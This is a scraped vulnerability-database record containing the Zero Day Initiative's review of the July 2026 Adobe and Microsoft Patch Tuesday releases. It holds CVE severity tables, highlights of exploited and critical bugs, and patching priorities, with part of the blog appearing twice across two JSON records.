Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:42.854955Z"}, {"uuid": "bb1406d6-eb67-434d-a01c-e0ac34c08feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54119", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  